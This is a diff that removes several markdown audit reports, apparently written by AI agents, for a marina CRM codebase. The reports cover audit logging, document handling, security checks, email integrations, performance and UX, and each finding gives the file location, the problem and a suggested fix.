- **What:** `search_text` GENERATED ALWAYS = `action || entity_type || entity_id || user_id`. Search input placeholder reads "entity id, action, vendor…" — implies you can search inside `metadata`/`new_value`. Searching "vendor" returns zero rows silently.
|
||||
- **Suggested fix:** Change placeholder to "action name, entity id, user id…" OR add `metadata` to GENERATED expression with `jsonb_to_tsvector` (larger index).
|
||||
|
||||
## 🟡 MEDIUM AU-08: Admin audit log shows field names but no old→new diff
|
||||
|
||||
- **File:** `src/components/admin/audit/audit-log-list.tsx:290-305` + `src/components/admin/audit/audit-log-card.tsx:84-91`
|
||||
- **What:** "Changes" column renders `Object.keys(newValue).slice(0,3).join(', ')` — no old→new diff, no row-expand. Dashboard `activity-feed.tsx` has working `buildDiffLine()` with 3 diff shapes, unused here.
|
||||
- **Why it matters:** Compliance audits can't confirm before/after state from UI alone; admins must dig into raw JSON.
|
||||
- **Suggested fix:** Add row-expand or detail sheet using `buildDiffLine` from activity-feed.tsx.
|
||||
|
||||
## 🟠 AU-10: Cascade-archived interests produce no individual audit rows
|
||||
|
||||
- **File:** `src/lib/services/clients.service.ts:578-618`
|
||||
- **What:** `archiveClient` batch-archives open interests, writes ONE `entityType: 'client'` row with `newValue: { cascadedInterestIds: [...] }`. No per-interest rows. `search_text` doesn't include `new_value`, so searching for an interest ID returns nothing.
|
||||
- **Why it matters:** Auditor querying for a specific archived interest sees no archive event; must know to look at parent client row.
|
||||
- **Suggested fix:** Loop over `archivedInterestIds` and emit per-interest `createAuditLog({ action: 'archive', entityType: 'interest', entityId, metadata: { cascadeSource: 'client_archive', clientId } })` (fire-and-forget).
|
||||
|
||||
## 🟡 MEDIUM AU-12: No audit log CSV export endpoint
|
||||
|
||||
- **File:** (absent — no `src/app/api/v1/admin/audit/export/route.ts`)
|
||||
- **What:** No download button, no API. Expenses domain has reference impl at `src/app/api/v1/expenses/export/csv/route.ts`.
|
||||
- **Why it matters:** GDPR / marina licensing audits often require exports.
|
||||
- **Suggested fix:** `GET /api/v1/admin/audit/export/csv` reusing `searchAuditLogs` + filter params.
|
||||
|
||||
## 🟡 MEDIUM AU-13: Outcome change uses `action: 'update'`, not distinct verb
|
||||
|
||||
- **File:** `src/lib/services/interests.service.ts:1047-1058`
|
||||
- **What:** `setInterestOutcome`/`clearInterestOutcome` log `action: 'update'` with `metadata.type: 'outcome_set'/'outcome_cleared'`. No `outcome_change` in `AuditAction` or filter dropdown. `metadata.type` not in `search_text` — FTS can't isolate.
|
||||
- **Suggested fix:** Add `'outcome_change'` to `AuditAction` union; use in both functions; add to dropdown; add to `DEFAULT_SEVERITY_BY_ACTION` as `'warning'`.
|
||||
|
||||
## 🟢 LOW AU-14: Tier map sparse; new actions default to 'info'
|
||||
|
||||
- **File:** `src/lib/audit.ts:220-222`
|
||||
- **What:** Only 2 entries (`permission_denied: 'warning'`, `hard_delete: 'critical'`). `password_change`, `portal_activate`, `revoke_invite`, `branding.logo.uploaded`, `rule_evaluated` all default to `'info'`. Severity≥warning filter misses security-relevant events.
|
||||
- **Suggested fix:** Add `password_change/portal_activate/revoke_invite: 'warning'`. `reconcile_manual` is in `metadata.type` — add `severity: 'warning'` at the call site in `berths.service.ts`.
|
||||
|
||||
## 🟢 LOW AU-14b: Action filter dropdown missing 12 verbs
|
||||
|
||||
- **File:** `src/components/admin/audit/audit-log-list.tsx:393-415`
|
||||
- **What:** Dropdown has 20 actions; missing `branding.logo.*`, `rule_evaluated`, `revoke/resend_invite`, `request/send_gdpr_export`, `password_change`, `portal_invite/activate/password_reset_request/password_reset`. Free-text partially compensates.
|
||||
- **Suggested fix:** Add missing action verbs.
|
||||
|
||||
## 🟢 LOW AU-14c: Entity-type filter missing several domains
|
||||
|
||||
- **File:** `src/components/admin/audit/audit-log-list.tsx:88-102`
|
||||
- **What:** Missing `document_folder`, `file`, `company`, `yacht`, `email_account`, `audit_log`, `backup_job`. Free-text on `entity_type` (in tsvector) works; dropdown is convenience.
|
||||
- **Suggested fix:** Add missing entity types.
|
||||
|
||||
## 🟢 LOW AU-14d: Dead code — `listAuditLogs` (ILIKE) in `audit.service.ts`
|
||||
|
||||
- **File:** `src/lib/services/audit.service.ts`
|
||||
- **What:** `listAuditLogs` exported but zero import sites. Admin route uses `searchAuditLogs` exclusively. ILIKE search is dead.
|
||||
- **Why it matters:** Future dev might wire it up bypassing GIN index → seq scans at scale.
|
||||
- **Suggested fix:** Delete `audit.service.ts` or mark `@deprecated`.
|
||||
|
||||
---
|
||||
|
||||
## ✅ Passing
|
||||
|
||||
- AU-01 (10 sampled mutating endpoints all audit: clients/interests/companies/berths/documents/folders/tags/roles/settings/files create + update + archive)
|
||||
- AU-02 password/token fragment masking covers `password`, `passwordHash`, `token`, `secret`, `api_key`, `apikey`, `auth`, `cookie`, `credentials` recursively up to depth 4. `email-accounts.service.ts` correctly logs only `metadata: { emailAddress, provider }`; `credentialsEnc` stripped before any JSON serialization.
|
||||
- AU-04 action filter wired (exact `eq()` filter)
|
||||
- AU-05 entity-type filter wired (same path)
|
||||
- AU-06 user filter wired (UUID exact match)
|
||||
- AU-07 date-range filter (ISO strings → Date → gte/lte; UI validates inversion)
|
||||
- AU-09 reconcile_manual tag in metadata at `berths.service.ts:473`
|
||||
- AU-11 permission_denied feed filter at `src/components/dashboard/activity-feed.tsx:185-189` (`i.action !== 'permission_denied'`); admin page correctly displays them with `'bg-red-800'` badge
|
||||
@@ -1,52 +0,0 @@
|
||||
# Documents/Files Audit (D-01-22) — agent #5
|
||||
|
||||
**Headline:** Structurally solid across all 22 checks. One medium real-time event mismatch + 2 low documentation divergences.
|
||||
|
||||
**Counts:** 0 critical · 0 high · 1 medium · 2 low · 19 passing
|
||||
|
||||
---
|
||||
|
||||
## 🟡 MEDIUM D-01/02/03: Real-time invalidation event name mismatch after upload
|
||||
|
||||
- **File:** `src/components/documents/documents-hub.tsx:141`
|
||||
- **What:** Hub subscribes to `'file:created': [['files']]`, but emitter (`files.ts:128`) and socket-events type def (`events.ts:264`) use `'file:uploaded'`.
|
||||
- **Why it matters:** After remote upload (other session, webhook auto-deposit), hub Files sections don't auto-refresh. Local `FolderDropZone` upload bypasses this via direct `queryClient.invalidateQueries`, but remote uploads invisible until reload.
|
||||
- **Suggested fix:** Change line 141 to `'file:uploaded': [['files']]` to match `client-files-tab.tsx:32`, `company-files-tab.tsx:32`, `interest-documents-tab.tsx:62`.
|
||||
|
||||
## 🟢 LOW D-13: HubRootView has 2 sections, not 3
|
||||
|
||||
- **File:** `src/components/documents/hub-root-view.tsx:50-100`
|
||||
- **What:** Spec says 3 cards; component renders 2 ("Signing in progress" + "Recent files"). Doc-only.
|
||||
- **Suggested fix:** Update CLAUDE.md to "2 sections."
|
||||
|
||||
## 🟢 LOW D-16: `interest.yachtId` branch in chain doc spec doesn't exist in code
|
||||
|
||||
- **File:** `src/lib/services/documents.service.ts:1225-1251`
|
||||
- **What:** Spec is `doc.clientId ?? .companyId ?? .yachtId ?? interest.clientId ?? interest.yachtId`. Code stops at `interest.clientId` because `interests.clientId` is NOT NULL — so the yachtId fallback is unreachable. Comment line 1239 explains.
|
||||
- **Suggested fix:** Update CLAUDE.md to drop the unreachable trailing branch, or annotate with `// unreachable: interests.clientId is NOT NULL`.
|
||||
|
||||
---
|
||||
|
||||
## ✅ Passing checks
|
||||
|
||||
- D-01 A16 fix verified — `formStr()` returns `undefined` (not `null`) for absent FormData fields; root upload omits `folderId` correctly
|
||||
- D-02 entity-folder drag-drop carries `folderId`+`entityType`+`entityId`+typed FK
|
||||
- D-03 file picker dialog passes `folderId` (null for root) correctly
|
||||
- D-04 PDF inline preview via `PdfViewer` lazy-loaded
|
||||
- D-05 image inline preview + lightbox via `<img>` for jpeg/png/gif/webp
|
||||
- D-06 Word/Excel: `FileGrid` gates "Preview" with `PREVIEWABLE_MIMES.has(...)` so only "Download" shows; `FilePreviewDialog` never opened
|
||||
- D-07 download endpoint wraps with `withPermission('files', 'view', ...)`; `getFileById` enforces port via `file.portId !== portId`
|
||||
- D-08 `deleteFolderSoftRescue` (`src/lib/services/document-folders.service.ts:294-337`) wrapped in `db.transaction()`, re-parents folders + documents + files explicitly (no CASCADE)
|
||||
- D-09 `syncEntityFolderName` called in updateClient (clients.service.ts:554), updateCompany (companies.service.ts:187), updateYacht (yachts.service.ts:167)
|
||||
- D-10 `moveFolder` cycle prevention: rejects self at line 213, `pg_advisory_xact_lock` per port (line 233), walks ancestor chain with `seen` set, checks `cursor === folderId` at each step
|
||||
- D-11 `assertNotSystemManaged` called in renameFolder (line 172), moveFolder (line 217), deleteFolderSoftRescue (line 299)
|
||||
- D-12 `listFilesAggregatedByEntity` walks Client↔Companies (via companyMemberships INNER JOIN companies on portId)↔Yachts; cap 20 + total
|
||||
- D-14 EntityFolderView uses `useAggregatedWorkflows` (filters to INFLIGHT_STATUSES `['draft','sent','partially_signed']`); files with `signedFromDocumentId` show "View signing details"
|
||||
- D-15 `GET /api/v1/documents/[id]/signing-details` returns `{ data: { workflow, signers, events } }`; `getDocumentById` enforces portId
|
||||
- D-16 idempotency: outer gate `doc.status === 'completed' && doc.signedFileId` returns; inner `SELECT ... FOR UPDATE` re-check inside transaction
|
||||
- D-17 Defense-in-depth port at every join: `companies` INNER JOIN with `portId` (line 451), `clients` INNER JOIN with `portId` (line 497), `yachts/files` WHERE portId everywhere, LEFT JOIN `documents` with `or(eq(documents.portId, portId), isNull(documents.id))` (line 588-590). companyMemberships has no portId column but is port-scoped via INNER JOIN to companies/clients
|
||||
- D-18 `?folder=<uuid>` URL state — three-state (absent → undefined hub root, `=root` → null, `=<uuid>` → uuid); `decodeFolderParam`/`encodeFolderParam` symmetric; deep folder works
|
||||
- D-19 `ensureEntityFolder` race-safety: fast-path re-SELECT before insert; two distinct catch branches for `uniq_document_folders_entity` (re-SELECT winner) and `uniq_document_folders_sibling_name` (increment suffix)
|
||||
- D-20 magic-byte: `bufferMatchesMime` in files.ts:58 covers 8 MIME types in-server; presign-PUT only used by berth-pdf/brochure (both stream first 5 bytes + `isPdfMagic()`)
|
||||
- D-21 filename HTML-escape (`document-sends.service.ts:415-422`)
|
||||
- D-22 `streamAttachmentOrLink` size-threshold + 24h presigned URL fallback; `fallbackToLinkReason: 'size_above_threshold'` audited
|
||||
@@ -1,30 +0,0 @@
|
||||
# Security Audit (S-01-08, S-21-30) — agent #6
|
||||
|
||||
**Headline:** 1 medium finding (S-23 plaintext S3 access key ID), 19 clean.
|
||||
|
||||
## 🟡 MEDIUM S-23: S3 access key ID stored plaintext in `system_settings`
|
||||
|
||||
- **File:** `src/lib/storage/index.ts:136`, `src/components/admin/storage-admin-panel.tsx:80`
|
||||
- **What:** S3 secret key (`storage_s3_secret_key_encrypted`) is AES-encrypted, but the access key ID (`storage_s3_access_key`) is stored/read as plaintext in `system_settings`.
|
||||
- **Why it matters:** Asymmetric encryption — DB exfil exposes the IAM key ID, narrowing the attack surface for credential stuffing or confirming which IAM principal to target. The access key ID is also surfaced in admin settings API responses.
|
||||
- **Suggested fix:** Apply same `encrypt()` / `*IsSet` pattern as the secret key. Migration to re-key existing rows. Update `resolveConfig` to call `decryptIfPresent`.
|
||||
|
||||
## ✅ Passing checks
|
||||
|
||||
- S-01 XSS via client.fullName (React text node)
|
||||
- S-02 XSS via tag.name (React child, sanitized style object)
|
||||
- S-03 XSS via note.content (plain text, no markdown rendering — `whitespace-pre-wrap` is CSS only)
|
||||
- S-04 XSS via email body markdown (`src/lib/utils/markdown-email.ts` escape-then-allowlist + DOMPurify second layer in `send-document-dialog.tsx`)
|
||||
- S-05 SQL injection via search query (Drizzle parameterized; `sql.raw` only on hardcoded constants in `admin/storage/route.ts:30` and `storage/migrate.ts:149`)
|
||||
- S-06 Path traversal in folder name (DB-only, never used as filesystem path)
|
||||
- S-07 Path traversal in file name / storage key (`validateStorageKey` in `src/lib/storage/filesystem.ts:49-69` rejects `..`/absolute/empty/non-allowlist chars; `resolveKey` does `path.resolve` prefix check)
|
||||
- S-08 SSRF via webhook target URL (two-layer: `isLocalOrPrivateHost` in `src/lib/validators/webhooks.ts` blocks RFC1918+loopback+link-local+CGNAT+cloud metadata; `resolveAndCheckHost` in `src/lib/queue/workers/webhooks.ts` re-resolves DNS at dispatch — DNS rebinding-resistant)
|
||||
- S-21 SMTP credential AES-256-GCM with random IV (`src/lib/utils/encryption.ts`)
|
||||
- S-22 IMAP credential same path as SMTP
|
||||
- S-24 Privilege escalation blocked: `updateUser` in `src/lib/services/users.service.ts:294-318` does caller-superset check; permission-overrides at `src/app/api/v1/admin/users/[id]/permission-overrides/route.ts:203-210` enforce per-leaf + block self-target at line 160; role definition mutations require `requireSuperAdmin` not just `manage_users`
|
||||
- S-25 Direct ID enumeration immune (`crypto.randomUUID` everywhere)
|
||||
- S-26 Audit log read-back of own permission denials — clean (admin-only `view_audit_log`)
|
||||
- S-27 Magic-byte verification verified
|
||||
- S-28 Filename HTML-escape in download links (`src/lib/services/document-sends.service.ts:415-420`)
|
||||
- S-29 Bounce-monitor email subject parsing — clean (no IMAP bounce worker exists yet; `email-threads.service.ts` uses parameterized `ilike` for subject matching)
|
||||
- S-30 `EMAIL_REDIRECT_TO` enforced at boot via Zod `superRefine` in `src/lib/env.ts:110-117` — production with the env set causes `process.exit(1)`. Webhook worker also short-circuits to `dead_letter` when set.
|
||||
@@ -1,112 +0,0 @@
|
||||
# Email + Integrations Audit (EM-01-19, IN-01-29) — agent #7
|
||||
|
||||
**Headline:** Broadly well-implemented. Primary issue: missing SMTP timeouts on sales transporter (HIGH — risks worker starvation). Plus 8 medium gaps in portal-email portId scoping, digest catalog key, receipt scanner config, presign TTL.
|
||||
|
||||
**Counts:** 0 critical · 1 high · 8 medium · 0 low · 30 passing
|
||||
|
||||
---
|
||||
|
||||
## 🟠 HIGH EM-XX: Sales transporter missing SMTP timeouts
|
||||
|
||||
- **File:** `src/lib/services/sales-email-config.service.ts:331-337`
|
||||
- **What:** `createSalesTransporter` builds nodemailer transport with no timeout options. Compare `createTransporter` in `src/lib/email/index.ts:26-37` which uses `SMTP_TIMEOUTS = { connectionTimeout: 10_000, greetingTimeout: 10_000, socketTimeout: 30_000 }`.
|
||||
- **Why it matters:** Hung SMTP relay can stall send-out indefinitely. Email queue concurrency=5, maxAttempts=5. Without socket timeouts, one stuck TCP connection holds a worker for nodemailer's 2-min default × 5 retries = 10min/job × 5 slots = whole pool blocked for 10min by a single flaky send.
|
||||
- **Suggested fix:** Apply `SMTP_TIMEOUTS` constant to `nodemailer.createTransport` in `createSalesTransporter`.
|
||||
|
||||
## 🟡 MEDIUM EM-05a: Per-port branding not threaded into portal activation/reset emails
|
||||
|
||||
- **File:** `src/lib/services/portal-auth.service.ts:163-164`
|
||||
- **What:** `issueActivationToken` and `issuePasswordReset` call `sendEmail(email, subject, html, undefined, text)` without the 6th `portId` argument. Without `portId`, `createTransporter()` uses global env SMTP. Branding is threaded into HTML via `getBrandingShell(portId)` but the SMTP transport falls back to global.
|
||||
- **Why it matters:** Multi-port deploys: portal auth emails for port B go through global env SMTP, defeating per-port SMTP override.
|
||||
- **Suggested fix:** Pass `portId` as 6th arg to `sendEmail` in both `issueActivationToken` and the reset send.
|
||||
|
||||
## 🟡 MEDIUM EM-07: CC/BCC not supported in main `sendEmail`
|
||||
|
||||
- **File:** `src/lib/email/index.ts:54-68`
|
||||
- **What:** `SendEmailOptions` lacks `cc`/`bcc`. Sales send-out path also lacks them.
|
||||
- **Suggested fix:** Add optional `cc`/`bcc` to `SendEmailOptions`. Low urgency.
|
||||
|
||||
## 🟡 MEDIUM EM-11: Bounce-to-interest linking not implemented
|
||||
|
||||
- **File:** `src/lib/services/sales-email-config.service.ts:13` (header comment)
|
||||
- **What:** `getSalesImapConfig` exposes IMAP creds but no BullMQ worker reads IMAP. Failed deliveries don't update `document_sends.failedAt`.
|
||||
- **Suggested fix:** Wire BullMQ recurring job using imapflow to scan inbox for bounce NDRs, match against `document_sends.messageId`. Phase 7 §14.9 deferred.
|
||||
|
||||
## 🟡 MEDIUM EM-16: Notification digest uses wrong catalog key for subject resolution
|
||||
|
||||
- **File:** `src/lib/services/notification-digest.service.ts:161-169`
|
||||
- **What:** Calls `resolveSubject` with `key: 'crm_invite' as any` because `'notification_digest'` is not in `TEMPLATE_KEYS` in `src/lib/email/template-catalog.ts`.
|
||||
- **Why it matters:** Admin-set CRM invite subject override bleeds into digest emails.
|
||||
- **Suggested fix:** Add `'notification_digest'` to `TEMPLATE_KEYS`; update digest service to use it.
|
||||
|
||||
## 🟡 MEDIUM IN-11: Presigned URL TTL fixed at 900s for portal downloads
|
||||
|
||||
- **File:** `src/lib/storage/index.ts:240-254` (`presignDownloadUrl`); `src/lib/services/portal.service.ts:350` (`getDocumentDownloadUrl`)
|
||||
- **What:** `presignDownloadUrl` defaults `expirySeconds=900` (15min). Sales send-out correctly overrides to 24h. `getDocumentDownloadUrl` calls without expiry → 15min default.
|
||||
- **Why it matters:** Portal users opening their doc list and clicking after >15min get 403.
|
||||
- **Suggested fix:** Pass `expirySeconds: 4 * 3600` for portal download links, or sign on-demand from API.
|
||||
|
||||
## 🟡 MEDIUM IN-21: OpenAI receipt-scanner module-level instantiation, no credential health check
|
||||
|
||||
- **File:** `src/lib/services/receipt-scanner.ts:4`
|
||||
- **What:** `const openai = new OpenAI();` at module level reads `OPENAI_API_KEY` at import. SDK throws on first call when unset; catch returns zero-confidence empty result. No admin-visible health check.
|
||||
- **Suggested fix:** Guard `OPENAI_API_KEY` upfront with clear error. Add a health-check endpoint similar to `checkDocumensoHealth`.
|
||||
|
||||
## 🟡 MEDIUM IN-23: Receipt OCR ignores per-port config; hardcoded `gpt-4o`
|
||||
|
||||
- **File:** `src/lib/services/receipt-scanner.ts:19`
|
||||
- **What:** `model: 'gpt-4o'` hardcoded; per-port `getResolvedOcrConfig` not consulted; `aiEnabled` flag does nothing. Module-level singleton OpenAI client.
|
||||
- **Suggested fix:** Accept `portId`, call `getResolvedOcrConfig(portId)`, check `aiEnabled`, use `config.apiKey` and `config.model`. Branch on provider for OpenAI vs Anthropic.
|
||||
|
||||
## 🟡 MEDIUM IN-24: Stale "pdfme" references in comments/seed
|
||||
|
||||
- **File:** `src/lib/db/seed-data.ts:807`, `src/lib/services/document-templates.ts:573`
|
||||
- **What:** Comments still reference pdfme even though the rendering path was removed; `tiptap-validation.ts:8` confirms pdfme retired. `document-templates.ts:648-652` throws ValidationError for non-EOI templates.
|
||||
- **Suggested fix:** Update comments to reference pdf-lib AcroForm fill; remove "pdfme" from seed-data description.
|
||||
|
||||
## 🟡 MEDIUM IN-29: Umami `testConnection` throws instead of returning typed result
|
||||
|
||||
- **File:** `src/lib/services/umami.service.ts:80-101, 292`
|
||||
- **What:** `loadUmamiConfig` returns null gracefully; all public APIs return null when unconfigured. But `testConnection` throws `CodedError('UMAMI_NOT_CONFIGURED')` instead of returning `{ ok: false, error }` like `checkDocumensoHealth`.
|
||||
- **Suggested fix:** Return `{ ok: false, error: string }` to match Documenso convention.
|
||||
|
||||
---
|
||||
|
||||
## ✅ Passing checks
|
||||
|
||||
- EM-01 per-port SMTP override (`getPortEmailConfig` in `port-config.ts:136`)
|
||||
- EM-02/03 default send-froms cascade (explicit `from` → `cfg.fromAddress` → env.SMTP_FROM → `noreply@${SMTP_HOST}`)
|
||||
- EM-04 EMAIL_REDIRECT_TO subject prefix `[redirected from <orig>]`; documenso-client also applies `applyRecipientRedirect`/`applyPayloadRedirect`; env.ts:110 prod boot guard
|
||||
- EM-05 branded shell (`renderShell` in `src/lib/email/shell.ts:37`)
|
||||
- EM-06 reply-to override applied
|
||||
- EM-08 send rate limit 50/user/hour Redis sliding-window keyed `${portId}:${userId}`
|
||||
- EM-09 `streamAttachmentOrLink` threshold + filename HTML-escape pre-SMTP
|
||||
- EM-10 IMAP probe script + `getSalesImapConfig` AES-256-GCM decrypted
|
||||
- EM-12 `document_sends` audit row in success + failure branches
|
||||
- EM-13 portal activation token: 32-byte token, hash stored in `portalAuthTokens`, `#token=...` fragment to stay out of logs
|
||||
- EM-14/15 reset/invite emails wired
|
||||
- EM-17 EOI sent via Documenso (not as nodemailer attachment)
|
||||
- EM-18/19 `renderEmailBody` escape-first + `isSafeHref` (https/mailto only) + `MERGE_VALUE_ESCAPE_MAP` neutralizes markdown chars
|
||||
- IN-01 v1 template-generate path (`generateDocumentFromTemplate`)
|
||||
- IN-02 v2 envelope/create multipart (FormData with `payload` JSON + `files` Blob)
|
||||
- IN-03 v2 distribute returns `recipients[].signingUrl` in one round-trip
|
||||
- IN-04 redistribute version-aware (v2 caveat: `recipientIds` may not target single recipient — API behavior risk, not code bug)
|
||||
- IN-05 downloadSignedPdf version-aware
|
||||
- IN-06 voidDocument version-aware (idempotent on 404)
|
||||
- IN-07 placeFields v2 bulk `field/create-many` percent coords + `fieldMeta`; v1 one POST per field with pixel coords
|
||||
- IN-08 `normalizeDocument` `id ?? documentId` for both docs and recipients (handles legacy `r.Recipient` capital-R)
|
||||
- IN-09 NocoDB `pg_advisory_xact_lock` + skip rows where `updated_at > last_imported_at`
|
||||
- IN-10 S3Backend with SSE AES256, all calls wrapped in `withTimeout(30_000)`, never imports MinIO directly
|
||||
- IN-12 filesystem MULTI_NODE_DEPLOYMENT guard (boot-time throw)
|
||||
- IN-13 BullMQ exponential backoff: email/docs 5×1s, webhooks 8×30s
|
||||
- IN-14 Redis noeviction in both compose files
|
||||
- IN-15 `src/worker.ts` imports all 10 workers + SIGTERM/SIGINT graceful shutdown
|
||||
- IN-16 public berths cache `s-maxage=300, stale-while-revalidate=60`
|
||||
- IN-17 status filter Sold > Under Offer (status OR has active is_specific_interest with isNull(end_date)+outcome) > Available
|
||||
- IN-18 mooring regex `^[A-Z]+\d+$` checked pre-DB; returns 400 for malformed
|
||||
- IN-19/20 dual-mode health endpoint with `timingSafeEqual`
|
||||
- IN-22 berth-pdf-parser tier-2 is `unpdf` (not Tesseract — prior comment correction); 30s timeout
|
||||
- IN-25 `fillEoiFormFields` flatten + metadata; missing fields warn rather than throw
|
||||
- IN-26 VALID_MERGE_TOKENS allow-list including `{{eoi.berthRange}}`
|
||||
- IN-27 `formatBerthRange` handles all cases (single/contig/non-contig/cross-pontoon/dedup)
|
||||
- IN-28 portal magic-link rate-limited 10/h/IP via `enforcePublicRateLimit(req, 'portalToken')`
|
||||
@@ -1,55 +0,0 @@
|
||||
# Performance + Behavioral Audit (P-05/09/13/14, B-01-22) — agent #8
|
||||
|
||||
**Headline:** 1 critical (B-01 INNER JOIN drops hard-deleted berth links), 1 high (B-16 AppShell remount destroys form state), 1 medium (P-09a leading-wildcard ILIKE), 17 clean.
|
||||
|
||||
**Counts:** 1 critical · 1 high · 1 medium · 1 low · 17 passing
|
||||
|
||||
---
|
||||
|
||||
## 🔴 CRITICAL B-01: Hard-deleted berth causes silent data loss across interest surfaces
|
||||
|
||||
- **File:** `src/lib/services/interest-berths.service.ts:55` (`getPrimaryBerth`), `:87` (`getPrimaryBerthsForInterests`), `:140` (`listBerthsForInterest`)
|
||||
- **What:** All three helpers use `INNER JOIN berths ON berths.id = interestBerths.berthId`. When a berth is hard-deleted, the INNER JOIN silently drops the link.
|
||||
- **Why it matters:** Interest detail page shows `berthId: null`, `berthMooringNumber: null`. Kanban card shows no berth chip. EOI generation produces empty field. `archiveInterest` path that calls `getPrimaryBerth` before evaluating berth rule returns null and **skips the rule entirely**.
|
||||
- **Suggested fix:** Change all three `INNER JOIN` to `LEFT JOIN berths`. Callers already handle `null` mooringNumber. Add service-layer guard preventing hard-delete of berths with `interest_berths` rows (require unlink or soft-archive first).
|
||||
|
||||
## 🟠 HIGH B-16: AppShell remounts children on breakpoint crossing, destroying form state
|
||||
|
||||
- **File:** `src/components/layout/app-shell.tsx:58-70`
|
||||
- **What:** When `isMobile` flips on resize, the shell switches between `<MobileLayout>{children}</MobileLayout>` and the desktop `<div>...{children}...</div>`. React unmounts and remounts `children`, destroying any in-progress `useState` form drafts including `InlineEditableField`.
|
||||
- **Why it matters:** A user editing a client name on desktop who resizes past the mobile breakpoint loses unsaved draft text. Multi-step modal forms (reconcile wizard) open during resize get unmounted.
|
||||
- **Suggested fix:** Wrap shared content with stable `key`, or use CSS-only responsive layout so the children subtree never remounts. Alternatively `key={isMobile ? 'mobile' : 'desktop'}` only on the shell wrappers with `children` stable via Portal.
|
||||
|
||||
## 🟡 MEDIUM P-09a: Leading-wildcard ILIKE in `buildListQuery` prevents index use
|
||||
|
||||
- **File:** `src/lib/db/query-builder.ts`
|
||||
- **What:** List search uses `ILIKE '%term%'` with leading wildcard, defeating B-tree and trigram-prefix indexes.
|
||||
- **Why it matters:** Sequential scan on high-cardinality text columns; degrades at scale.
|
||||
- **Suggested fix:** Migrate to `pg_trgm` GIN indexes on the searched columns, or move to FTS via existing `search_text` GIN where one exists.
|
||||
|
||||
## 🟢 LOW P-14: List endpoint `limit` allows up to 1000 rows
|
||||
|
||||
- **File:** `src/lib/api/list-query.ts`
|
||||
- **What:** Generic list cap = 1000. Audit log is bounded to 200 with cursor pagination (better pattern).
|
||||
- **Why it matters:** A 1000-row response with relations can blow the 256 KB budget.
|
||||
- **Suggested fix:** Lower default cap to ~100; require explicit cursor pagination beyond.
|
||||
|
||||
---
|
||||
|
||||
## ✅ Passing checks
|
||||
|
||||
- P-05 No N+1 — all secondary fetches batched via `inArray`
|
||||
- P-13 Audit FTS uses `to_tsvector('simple')` + GIN index + `plainto_tsquery('simple')` consistently (`src/lib/services/audit-search.service.ts`, migration `0014_black_banshee.sql`)
|
||||
- B-02 Sara Laurent contract-without-yachtId renders correctly (overview tab guards yacht section; stage-gate only fires on `changeInterestStage`)
|
||||
- B-03 `activeInterestsWhere` (`src/lib/services/active-interest.ts`) used in listInterestsForBoard, getInterestStageCounts, listBerths reconcile, recommender CTE
|
||||
- B-04 / B-05 `formatBerthRange` correct: single (`A1`), contiguous (`A1-A3`), non-contiguous (`A1, A3`), cross-pontoon (`A1-A2, B5-B7`), dedup, non-canonical pass-through
|
||||
- B-07 Tier B fires only when `activeInterestCount===0 && lostCount>0`; `lost_count` aggregates `LIKE 'lost%' OR cancelled`; heat scoring gated by `tier === 'B'`; fall-through policy enforces cooldown/never_auto_recommend
|
||||
- B-08 `withPermission` (`src/lib/api/helpers.ts:328-340`) writes `permission_denied` audit row before 403 (fire-and-forget `void`)
|
||||
- B-09 Same-stage no-op `if (existing.pipelineStage === data.pipelineStage) return STAGE_NOOP;` early-returns before DB/audit/socket (`src/lib/services/interests.service.ts:847-849`)
|
||||
- B-10 Documenso webhook handles empty body / malformed JSON via try/catch returning `{ ok: false }` 200 + warning log (`src/app/api/webhooks/documenso/route.ts:176-182, 202`)
|
||||
- B-11 `status_override_mode` transitions (null/manual/automated) all have audit coverage; reconcile clears to null, rules engine writes 'automated', admin UI writes 'manual'
|
||||
- B-13 Catch-up wizard `pipelineStage === 'contract'` sends `outcome: 'won'` (`src/components/berths/catch-up-wizard.tsx:120`); reconcile route validates `z.enum(['won']).optional()`
|
||||
- B-17 Bulk-add berths wizard step state persists in `BulkAddBerthsWizard`'s `useState`; no remount between steps
|
||||
- B-18 NotesList handles 6 entity types (clients/interests/yachts/companies/residential_clients/residential_interests); `companyNotes.updatedAt` substituted via `createdAt` per CLAUDE.md
|
||||
- B-19 `InlineEditableField` present on client/yacht/company/interest/residential-client/residential-interest/berth tabs (11 files)
|
||||
- B-22 `markExternallySigned` (`src/lib/services/external-signing.service.ts:68-72`) updates `{ docStatus: 'signed', updatedAt: now }`. Note: catalog said "documentId=null, signedAt=now" but interests table has no such columns — the service is correct relative to schema.
|
||||
@@ -1,159 +0,0 @@
|
||||
# UX/Forms/Tables Audit (U-001-100, code-side) — agent #9
|
||||
|
||||
**Headline:** Generally consistent (Sheet, AlertDialog, EmptyState, requestId surfacing all good across most surfaces). 4 HIGH gaps: native `alert()` for bulk-action failures, icon-only buttons missing aria-label, unicode glyphs in portal, Vaul Drawer in mobile search overlay. Plus 14 MEDIUM gaps in form discipline + a11y + mobile nav.
|
||||
|
||||
**Counts:** 0 critical · 4 high · 14 medium · 0 low
|
||||
|
||||
---
|
||||
|
||||
## 🟠 HIGH
|
||||
|
||||
### U-059: Unicode glyphs as status icons in portal documents page
|
||||
|
||||
- **File:** `src/app/(portal)/portal/documents/page.tsx:85-89`
|
||||
- **What:** Signer status rendered as raw Unicode (`'✓'` signed, `'✗'` declined, `'○'` pending) inside colour-coded `<span>` with no `aria-label`.
|
||||
- **Why it matters:** A11y — screen readers read literal Unicode names. Per project memory: decorative unicode glyphs are explicitly flagged. `inline-stage-picker.tsx:443` comment confirms the pattern ("was ⚑ unicode glyph — replaced with a Lucide").
|
||||
- **Suggested fix:** Replace with `<CheckCircle2>` / `<XCircle>` / `<Circle>` Lucide icons + `aria-label`.
|
||||
|
||||
### U-066: Vaul Drawer used for mobile search overlay (violates Sheet doctrine)
|
||||
|
||||
- **File:** `src/components/search/mobile-search-overlay.tsx:6`
|
||||
- **What:** `import { Drawer as VaulDrawer } from 'vaul'` — search overlay is a full-screen overlay, not a bottom sheet, but uses Vaul Drawer. CLAUDE.md says Vaul is reserved for mobile-bottom-sheet only (currently `MoreSheet` only).
|
||||
- **Suggested fix:** Convert to `<Sheet side="bottom">` or `<Dialog>` fullscreen. Visualviewport handling (lines 50-89) becomes redundant once Radix dialog primitive backs it.
|
||||
|
||||
### U-076: Native `alert()` for bulk-action failure feedback in 3 lists
|
||||
|
||||
- **Files:** `src/components/interests/interest-list.tsx:146`, `src/components/companies/company-list.tsx:73`, `src/components/yachts/yacht-list.tsx:66`
|
||||
- **What:** Partial-failure feedback via `alert(...)`. `client-list.tsx:145` uses `toast.warning(...)` correctly.
|
||||
